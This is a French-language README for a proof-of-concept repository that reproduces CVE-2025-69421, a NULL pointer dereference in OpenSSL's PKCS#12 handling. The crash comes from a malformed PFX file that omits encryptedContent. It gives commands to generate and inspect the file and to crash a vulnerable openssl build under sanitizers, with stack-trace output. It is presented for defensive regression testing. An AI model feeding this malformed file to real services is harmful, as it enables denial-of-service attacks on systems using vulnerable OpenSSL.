
Reproducteur minimal de CVE-2025-69421 démontrant un déréférencement de pointeur NULL dans le traitement OpenSSL PKCS#12 via un fichier PFX malformé avec un champ encryptedContent absent. Inclut un script de génération, une inspection ASN.1 et une sortie de crash déclenché par UBSan pour des tests de régression défensifs.
Ce dépôt contient un fichier PKCS#12 malformé minimal qui reproduit CVE-2025-69421 dans un environnement de laboratoire isolé.
Le PFX généré contient un EncryptedData dont le EncryptedContentInfo omet
le champ optionnel encryptedContent. Les versions vulnérables d'OpenSSL peuvent
transmettre un pointeur NULL ASN1_OCTET_STRING de PKCS12_unpack_p7encdata() à
PKCS12_item_decrypt_d2i_ex(), qui le déréférence sans vérification NULL.
Ce reproducteur démontre uniquement une condition de déni de service. Il n'exécute pas de code et ne divulgue pas d'informations.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Définissez le répertoire de construction avant d'exécuter la preuve de concept :
export OPENSSL_BUILD=/chemin/vers/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD doit contenir la libcrypto.so.3 vulnérable ainsi que le binaire
apps/openssl correspondant.
Un fichier pré-généré est inclus. Pour le recréer :
python3 generate.py
La sortie est :
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
La structure concernée est :
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
En utilisant le script d'aide :
export OPENSSL_BUILD=/chemin/vers/openssl-build
./run.sh
Commande manuelle équivalente :
export OPENSSL_BUILD=/chemin/vers/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/chemin/vers/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/chemin/vers/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/chemin/vers/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/chemin/vers/openssl-build/apps/openssl+0x...)
Les indicateurs importants sont :
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Une version corrigée d'OpenSSL doit rejeter l'entrée malformée sans que le sanitizer ne trouve d'erreur ni de plantage du processus. L'erreur peut inclure :
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Composant : Traitement PKCS#12 d'OpenSSL
Déclencheur : EncryptedData sans encryptedContent
Défaut : Déréférencement de pointeur NULL
Fonction : PKCS12_item_decrypt_d2i_ex()
Accessible via : PKCS12_unpack_p7encdata()
Impact : Déni de service
Utilisez ce reproducteur uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L'artefact inclus est destiné à la validation défensive et aux tests de régression.